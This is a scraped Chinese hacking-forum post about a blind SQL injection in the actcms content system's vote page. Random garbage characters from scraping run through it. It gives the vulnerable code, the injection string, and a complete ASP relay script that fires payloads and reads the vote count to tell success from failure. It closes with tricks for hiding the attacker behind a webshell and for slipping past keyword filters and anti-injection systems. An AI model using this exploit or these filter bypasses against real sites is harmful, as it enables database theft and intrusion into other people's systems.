/ x6 e8 Y. n( X( \- w2 Z# Y8 R看到ninty大牛的blog的一篇文章" Y7 ~7 w7 Q1 t3 |( V
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: }( |$ z( u# f关于actcms漏洞的利用 by 3x qq:381862589
+ ^ E2 i* w4 @9 {5 X d. p+ x( N转载请注明以上
" @: }& {; m+ p- V漏洞文件:/ ]. G% Y7 O% e% M, Q
/plus/vote/vote.asp# q& A) N# e4 S- B
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
! q# L& _+ g0 j; u" K* q/ L4 Z2 O4 L p5 l
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
6 {$ M' M% F$ V. H# u9 c
0 ~: @% \0 |5 U$ q; c0 q3 response.end ' N; l" d# H2 Z9 p! d v
% m, ?% b, T2 N( E0 K4 S
4 end if
' ]( ?4 Q* y. _; J6 p) i7 n2 T& M ]
5 for i=1 to request("voted").count
+ L* y) A8 G) ^0 a& C! a$ |+ B' ~- ^2 j
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
% l6 O7 F7 c) |# x u: q, x1 V- @- ?; X
7 next
^/ f) s4 [& }) Z8 d: z4 s N8 z4 a' e9 F% F# j
8....
4 L; u9 W% R4 j" U$ O2 S4 v( o; Q$ z( c! C3 n
9response.Redirect "index.asp?id="&id&""
5 K/ E* G( N" I* P投票结束回跳转回index.asp这个投票结果页面 d; G# k( Y k- ^8 A4 x
如果投票成功票数加1+ O* R- q" f2 j: c% ?
失败票数不变
; M% w2 r+ k( ^如图:
" L6 V: _' e+ h: n+ |( J( {http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)& A* f* J" l. ~; T( ~
# Q+ \2 @. y; s8 r2 O- _! H
2009-12-27 13:20# Y+ q, x/ c' l! C/ Q
: _7 z [5 q1 E4 M* B. n9 }
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了- T* l) s+ v7 o, R1 E
0 J. b1 |; W Q6 f
本帖隐藏的内容需要回复才可以浏览9 b0 `. c* K) ^/ p0 A4 h) ?. }! E f
我们用注入中转来实现这个注入具体代码如下:
/ u) c' v" F1 Y( K' G先用寂寞的刺猬大牛的注入中转生成jmget.asp6 m: g, Q, o- J) j# o
注入地址:http://localhost/actcms/plus/vote/vote.asp
' P3 o( @- t* ]9 W& h1 y/ |% L注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
9 D6 R+ b9 V3 v& F& ]/ f1 y q
0 N6 [% C' p7 n* i/ I1 f- B然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
) n$ n9 m) R G7 z& \5 q" m. Y" w0 E) m: X3 l. j1 ]0 V: `% g7 ?
02JmdcwName=request("jmdcw")
, o; E6 {. c, i# `7 C
- m" G2 G- ^% f5 G% ]03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
* q; z1 h) A& C# H- j/ Y6 Y8 D# d7 ~' ^6 t" L
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! x- E5 |. s& s9 R6 ^) f
" Q4 _ {+ i s6 I' k05JmStr=URLEncoding(JmStr) 8 v" G; P( x5 ? g( B" h
+ x6 P3 |5 K6 p: |7 L, O3 \# E
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
& ~( g% A9 Y* n0 y! I# N" I$ o7 W2 ^9 O1 \
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
& h- g: h1 S" W3 y" V; O" A2 b( L5 ^ V0 e6 M% C" e. q0 `, O: q6 I$ v
08testurl=testurl & "?" & JmStr ) l t" r( @* j( ~
8 W$ ~1 p) N( t09JMUrl=JMUrl & "?" & JmStr
0 v8 ?' [7 v6 h6 R5 r% l1 n$ ?. r# r; Q8 K6 b) C4 t# Z/ a' ?- H: H& F
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; R# R7 K2 Q! o7 N; H0 J) K$ P
& _$ v7 B' }4 m3 x; H& F11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
( u# z4 K4 k, M0 U+ [. r% Y) ?# D8 l) r1 _
12JmCok=replace(JmCok,chr(32),"%20") 9 a" E6 X, s g5 x
! V8 o7 Q3 m4 _- v
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
* b4 z/ I/ z0 C$ S e4 R( x2 ~) F. n/ c5 R( b! Q+ P
14
* q7 L+ ]' p9 A, ^( u+ [7 B" F
( G# @% @7 y7 Z( S- b2 J) k/ Y15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
+ o7 D$ D- B7 R" z |
- O. c" H) u3 e& A3 Q% O16
, i4 V- X+ e) @3 F4 O
" B5 v) b, ?/ q% G9 O8 }9 d17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
% J% @- k7 f* G T. u) |
, Z( K8 w9 h9 H4 S @18response.write test1&""&test2&""5 `7 d9 w% y0 r& D1 h+ E
# S/ E% K6 r4 `: S2 ]
19
" ?( Z/ O9 V/ j* F3 w$ U/ {' R
& K2 D }4 v) W" n20if test1=test2 then '如前后记录相等,表示失败
$ F, }" a/ p& H) _4 S* q& `* K6 \" \: i# C) `. K" ^. P" e
21 response.write "failed"
5 D- G$ E" Q6 P9 w5 S
: v4 }; X1 }0 ~ Q# T0 X$ {" L22else
' |$ r. W3 o. d
% `3 M& V2 E+ f& l23 response.write "succeed"
1 |2 u' y7 l8 z9 w6 Z- N! ^2 W! t6 }7 ^4 Y
24end if
H2 ^2 j) Q0 D1 c5 y3 W p4 m m+ H% Q' K% H
25
1 R6 j0 G" R& |# z/ k4 |# |2 ~: C5 n) d( ?: k
26response.write "by 3x"
% x. `- q* i" v! O! f0 A* [" y) q0 t% v) R3 j/ l! f( Y8 q9 k
27 ) x* q. ~$ P5 d; Q) V6 }1 Z
0 z" c* e1 \& w* M1 n5 z
28
, Q4 k- s L/ S- ~1 Z3 R* d/ K
8 s: M( [' E9 B8 F% S4 D29Function PostData(PostUrl,PostStr,PostCok,PostRef) ; |" J; ?! J3 r' O3 |$ ~5 w
" z1 J* H( Q9 z6 P30Dim Http
/ m3 Z! w6 I0 X: q9 _
- a5 `& k/ g4 J' V% V* L31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
- B, W, h- P! f9 c# G+ s* S$ q0 {- G7 o4 c7 y
32With Http
8 ^% A, \1 Q! g4 W! O' P9 z; n% A1 U) a
33
, {0 O9 W. Y3 n8 ]) e0 o' I
3 R q9 A8 q" G4 L# ~3 s/ R$ u34.Open "GET",PostUrl,False! G! C+ r7 m9 f# L0 j- b" J
, Q7 X: N3 Z3 |" Z
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded": ]1 S! ]% _$ `8 l% q4 G- n
/ H% A6 y! v' m- w; D) F36.SetRequestHeader "Referer",PostRef
1 H/ j2 S* P" D! C2 c; G! v- {1 ?, r# |* ~. K/ U2 Z9 f2 V
37.SetRequestHeader "Cookie",PostCok ' N: T6 V* k# H( ?% q
" P0 w/ A, z, }! |; E38.Send () ; e: }3 u; |( d, L$ |! C$ ~
1 m$ ]. S$ ^, o3 `% A1 {
39PostData = .ResponseBody % G" C @3 t: x6 \
% Q. N4 x# l) Q. ^- j/ t
40End With: O& _- \) I/ A6 z' |* o6 A
# a5 A4 } Q( h7 U8 Q& e# L8 L41Set Http = Nothing7 `! r0 E7 b! ?. }
9 d6 u. T* A5 ]) l
42PostData =bytes2BSTR(PostData)
, n: ]# V' {" }& ]% i1 E" M/ r) Z
) C9 L1 k$ b# m* p43End Function
3 n% R) {. j6 Q. Z6 W8 `' F' L- Z# `, W8 H- }: e
44 % A q$ y$ j; p
/ V# E9 Q" Y/ k
45 - R/ D) R7 u4 E0 f1 d( C7 Z( i
' P) T1 F* J1 |1 B46Function bytes2BSTR(vIn)
- O0 r$ k6 \7 e9 U7 b- p
f$ J- N. [. H4 a- z8 | |& \47Dim strReturn : U0 y7 j3 v1 n) `- u' T3 f
/ d2 U5 D2 K( r# h+ }
48Dim I, ThisCharCode, NextCharCode 6 L/ u: e E. A% {5 S3 W
! j6 t! _% N' P2 c! z9 z. P: \49strReturn = ""
5 _) w+ Z. A) {7 R( P/ r. L" i& o
! p' @" h5 B! w( W- c# @. j8 I50For I = 1 To LenB(vIn)
' J: O( Q7 {+ L
& U, q- E; j/ ]8 k. u7 k51ThisCharCode = AscB(MidB(vIn, I, 1))
; s5 ?, [ x! P1 D1 D2 v( r |7 X0 Q3 @' A# i, [. K- U8 a/ e
52If ThisCharCode < &H80 Then1 A* i4 z; R+ U% T- |9 B
- H, z, h+ H4 A; T+ X3 M' x7 c53strReturn = strReturn & Chr(ThisCharCode)
. K* B _% s9 C) ~
& t6 e9 ~/ X& k54Else
5 ]6 _8 M9 c. C' D, g! `: P" S
1 p; S8 r, r# Y6 N; F, {55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' `; {* n. ~9 N$ r5 f4 X, e k% \% |* m8 g5 h. e) i
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) " w2 ^" ~( E: F& _2 r: R
: B5 V3 r' B1 a; r- \, v57I = I + 1 5 a- Q5 W5 ~ n1 n8 \' _; @
- [" o7 y7 G, v
58End If
6 I: ]: I4 R ^* e, c: l
` B! v! f% w59Next3 T( p6 V! \" _' j! {! }
" t% x* S% A, G60bytes2BSTR = strReturn
3 P! @) U7 g0 y ?
& K8 B- Y& [9 h3 |& r61End Function/ E4 a, S7 w, X+ P" p& p( f
. T0 ]& i+ I, x5 O, m! K62 : R7 V. Y3 a/ K; W; i: E- b
/ S/ `* |' [% r( @6 ?63Function URLEncoding(vstrin) % F; H0 Y; }* C& ?2 j' e0 a4 ^6 M
! |/ D* M- ]) ?" H8 ~0 U
64strReturn=""* {% w. _3 _1 p* a# f
! x' R. n! {$ ?5 d" ^+ Z
65Dim i ' N4 t4 Z% A+ [3 a+ p# A
; q+ A( C+ I) G0 n* Y; q6 X! K8 g66For i=1 To Len(vstrin) 1 K) S5 x2 P" O6 n% N0 E/ x
4 ]9 r; s: k! |/ V J5 ]67ThisChr=Mid(vstrin,i,1) 1 O' s6 s* c. h5 X9 s$ b; F
4 L: k1 x1 Q% M& B
68if Abs(Asc(ThisChr))< &HFF Then
0 N+ d! p. q2 e( }4 A* c9 J3 I! C5 Q1 w R8 l4 A" l/ G' Y
69strReturn=strReturn & ThisChr
# l/ j, h8 V% `9 H; X4 D9 X, q* @% E+ E
70Else! j& s8 V6 s$ X$ J4 b
5 Q: X! c) _ Z1 _9 J1 B71InnerCode=Asc(ThisChr) - \( x4 m! Q# ]+ i: [
% ? p5 _* k9 ?" h6 N# z
72If InnerCode<0 Then
$ b, z6 m- T4 A, S0 U0 G& ]) {0 V0 @/ d# }" _: [! S
73InnerCode=InnerCode + &H10000
- u/ e# P5 y& R" j. `2 l- u& p1 i7 g. g! ~" L& ]
74End If
1 X* _3 f+ S9 S) G9 ~" S
# @: o. i" |: j, s! v75Hight1=(InnerCode And &HFF00) \&HFF - O2 j5 N* |" _3 D6 r
' P0 w$ A) Y p: y76Low1=InnerCode And &HFF
; P# a% l+ W) y9 c3 ]& M5 C' E, m3 j' q! m/ V
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 3 k l8 B! C( H1 J- G3 W" Y
! O+ r+ |3 `/ ?( G* c2 W
78End if 5 m2 P; L' g- e% y+ `; W/ c8 u
: y9 a$ x/ r& G x' K( w: P2 _* w79Next
* D! Z6 n& L7 P' f: e: @4 t9 [3 A8 K1 E$ u; \/ H
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 4 m; Y# b8 ^0 ?) l; V% e" J$ B
9 S5 D. r4 Y& y' e% x81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
, z2 T& k7 w1 _1 Q1 k3 D6 l% j! N9 ]( [9 B+ ?3 B
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 8 v: N Z# |" @0 o5 i6 |2 @" o1 N
* H' d( V$ n/ F9 C83URLEncoding=strReturn
5 G* |) m/ N/ r3 j a3 F( W" } b0 Q$ [" s: E% V& e5 y5 A
84End Function
+ Z: b7 J% z M+ _. w5 y$ d& N4 v+ f. m& ?6 B$ W* T
85 4 Z6 s1 o& G. ]# e0 [
4 A. l2 R* G8 u* U* E! o5 [" P
86function getSt(body)
, d. O8 y6 j% g% \ `; s, A' @/ i& M; T+ }0 _' n$ a# X
87 startpot=instr(body,"投票人数:")+len("投票人数:") 2 S& v6 Z: M. ]% {
* d. t9 e/ X; s+ c8 P" g
88 endpot=instr(startpot,body," ") * m" P, p6 @1 p9 J6 C
" S" g) g9 j# J1 c3 d- D
89 getSt=mid(body,startpot,endpot-startpot)
X9 c8 R0 m. M3 H
4 M* G" t2 G. h% K9 o g* y90end function
* q, v3 m C8 g9 N+ S
5 I8 _8 u# ]% r91%>
6 y) P; O% F: @+ Y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了" p' M- q, H5 r: A% }$ J: n- s$ @
测试下效果:$ A8 g5 r7 x$ d! o
投票成功:
$ s+ m3 }6 q0 A7 ?8 nhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)* q" A) B/ F) A# t6 ~" s
, M O& T# `' }. P& ?0 X* @$ @) z2009-12-27 13:297 M% x W" `8 k' d1 `" O- |
投票失败
9 e9 i% e, }9 ihttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
& g( [5 K! s* Q, D4 a) R3 V, p. Y- ]" D2 s* M& x8 [) Z; g: P
2009-12-27 13:29
8 U8 q/ }# _' j* w: u3 P-------------------------------------------------------------------------------, R8 j6 K# X; t, z9 p3 L
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
8 \4 ^- L. m5 `2 n9 E% ~很抱歉。。。只能用单线程工具去注入。。。。。( h7 s5 Z6 P! V! v2 y/ @
所以失败。。。不好意思。。。
) r! h7 |4 n: s0 d* ^1 ?-------------------------------------------------------------------------------0 _9 Y9 b3 d' ~) v3 W/ Z
, [5 B0 F) q {注入中转的一些其他应用
) o6 {4 A( J8 k! L8 I7 R7 u其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了; r6 R& t5 g1 s _
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id! I1 J; H0 v# E
2.post注入转成get型的注入,方便我们使用工具来跑
. e& E. I8 v c) w5 y3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")! ~* S t l: a$ l/ B: |9 z5 ]
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过* t6 r$ u/ S3 I6 [1 {! i- b6 D
7 ?6 {5 N. i' X; m: g! _0 z
|